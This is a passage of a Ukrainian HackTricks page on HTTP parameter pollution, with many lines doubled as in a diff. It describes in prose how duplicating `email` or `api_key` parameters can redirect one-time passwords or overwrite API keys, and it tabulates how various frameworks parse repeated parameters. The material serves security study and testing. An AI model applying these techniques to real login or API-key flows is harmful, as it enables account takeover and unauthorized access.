||||
- Інструменти, такі як [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/), допомагають ідентифікувати ці технології та їх поведінку при парсингу.
|
||||
* Спосіб парсингу та пріоритету параметрів залежить від основної веб-технології, що впливає на те, як HPP може бути використано.
|
||||
* Інструменти, такі як [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/), допомагають ідентифікувати ці технології та їх поведінку при парсингу.
|
||||
|
||||
## PHP та Експлуатація HPP
|
||||
### PHP та експлуатація HPP
|
||||
|
||||
**Ситуація з маніпуляцією OTP:**
|
||||
|
||||
- **Контекст:** Механізм входу, що вимагає одноразового пароля (OTP), був експлуатований.
|
||||
- **Метод:** Перехоплюючи запит OTP за допомогою інструментів, таких як Burp Suite, зловмисники дублювали параметр `email` у HTTP запиті.
|
||||
- **Результат:** OTP, призначений для початкової електронної пошти, був надісланий на другу електронну адресу, вказану в маніпульованому запиті. Ця вразливість дозволила несанкціонований доступ, обминаючи заплановану міру безпеки.
|
||||
* **Контекст:** Механізм входу, що вимагає одноразового пароля (OTP), був експлуатований.
|
||||
* **Метод:** Перехоплюючи запит OTP за допомогою інструментів, таких як Burp Suite, зловмисники дублювали параметр `email` у HTTP запиті.
|
||||
* **Результат:** OTP, призначений для початкової електронної пошти, був надісланий на другу електронну адресу, вказану в маніпульованому запиті. Ця вразливість дозволила несанкціонований доступ, обминаючи заплановану міру безпеки.
|
||||
|
||||
Цей сценарій підкреслює критичну помилку в бекенді додатку, який обробляв перший параметр `email` для генерації OTP, але використовував останній для доставки.
|
||||
|
||||
**Ситуація з маніпуляцією API ключем:**
|
||||
|
||||
- **Сценарій:** Додаток дозволяє користувачам оновлювати свій API ключ через сторінку налаштувань профілю.
|
||||
- **Вектор атаки:** Зловмисник виявляє, що, додавши додатковий параметр `api_key` до POST запиту, він може маніпулювати результатом функції оновлення API ключа.
|
||||
- **Техніка:** Використовуючи інструмент, такий як Burp Suite, зловмисник формує запит, що містить два параметри `api_key`: один легітимний і один шкідливий. Сервер, обробляючи лише останнє входження, оновлює API ключ на значення, надане зловмисником.
|
||||
- **Результат:** Зловмисник отримує контроль над функціональністю API жертви, потенційно отримуючи доступ або змінюючи приватні дані без дозволу.
|
||||
* **Сценарій:** Додаток дозволяє користувачам оновлювати свій API ключ через сторінку налаштувань профілю.
|
||||
* **Вектор атаки:** Зловмисник виявляє, що, додавши додатковий параметр `api_key` до POST запиту, він може маніпулювати результатом функції оновлення API ключа.
|
||||
* **Техніка:** Використовуючи інструмент, такий як Burp Suite, зловмисник формує запит, що містить два параметри `api_key`: один легітимний і один шкідливий. Сервер, обробляючи лише останнє входження, оновлює API ключ на значення, надане зловмисником.
|
||||
* **Результат:** Зловмисник отримує контроль над функціональністю API жертви, потенційно отримуючи доступ або модифікуючи приватні дані без дозволу.
|
||||
|
||||
Цей приклад ще більше підкреслює необхідність безпечного оброблення параметрів, особливо в таких критичних функціях, як управління API ключами.
|
||||
Цей приклад ще раз підкреслює необхідність безпечного оброблення параметрів, особливо в таких критичних функціях, як управління API ключами.
|
||||
|
||||
## Парсинг Параметрів: Flask проти PHP
|
||||
### Парсинг параметрів: Flask проти PHP
|
||||
|
||||
Спосіб, яким веб-технології обробляють дубльовані HTTP параметри, варіюється, що впливає на їх вразливість до атак HPP:
|
||||
|
||||
- **Flask:** Приймає перше значення параметра, яке зустрічається, наприклад, `a=1` у рядку запиту `a=1&a=2`, надаючи пріоритет початковому екземпляру над наступними дублікатами.
|
||||
- **PHP (на Apache HTTP Server):** Навпаки, надає пріоритет останньому значенню параметра, вибираючи `a=2` у наведеному прикладі. Ця поведінка може ненавмисно сприяти експлуатації HPP, визнаючи маніпульований параметр зловмисника замість оригінального.
|
||||
* **Flask:** Приймає перше значення параметра, наприклад, `a=1` у рядку запиту `a=1&a=2`, надаючи пріоритет початковому екземпляру над наступними дублікатами.
|
||||
* **PHP (на Apache HTTP Server):** Навпаки, надає пріоритет останньому значенню параметра, вибираючи `a=2` у наведеному прикладі. Ця поведінка може ненавмисно сприяти експлуатації HPP, визнаючи маніпульований параметр зловмисника замість оригінального.
|
||||
|
||||
## Параметричне забруднення за технологією
|
||||
|
||||
Результати були взяті з [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||
|
||||
### PHP 8.3.11 І Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Ігноруйте все після %00 у назві параметра.
|
||||
2. Обробляйте name\[] як масив.
|
||||
3. \_GET не означає метод GET.
|
||||
4. Віддавайте перевагу останньому параметру.
|
||||
|
||||
### Ruby 3.3.5 та WEBrick 1.8.2
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Використовує роздільники & та ; для розділення параметрів.
|
||||
2. Не розпізнає name\[].
|
||||
3. Віддає перевагу першому параметру.
|
||||
|
||||
### Spring MVC 6.0.23 І Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
|
||||
2. POST RequestMapping & PostMapping розпізнають name\[].
|
||||
3. Віддайте перевагу name, якщо існують name та name\[].
|
||||
4. Конкатенуйте параметри, наприклад, first,last.
|
||||
5. POST RequestMapping & PostMapping розпізнають параметри запиту з Content-Type.
|
||||
|
||||
### **NodeJS** 20.17.0 **І** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Розпізнає name\[].
|
||||
2. Конкатенуйте параметри, наприклад, first,last.
|
||||
|
||||
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. НЕ розпізнає name\[].
|
||||
2. Віддає перевагу першому параметру.
|
||||
|
||||
### Python 3.12.6 І Werkzeug 3.0.4 І Flask 3.0.3 <a href="#b853" id="b853"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. НЕ розпізнає name\[].
|
||||
2. Віддає перевагу першому параметру.
|
||||
|
||||
### Python 3.12.6 І Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. НЕ розпізнає name\[].
|
||||
2. Віддає перевагу останньому параметру.
|
||||
|
||||
### Python 3.12.6 І Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. НЕ розпізнає name\[].
|
||||
2. Віддає перевагу останньому параметру.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
* [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|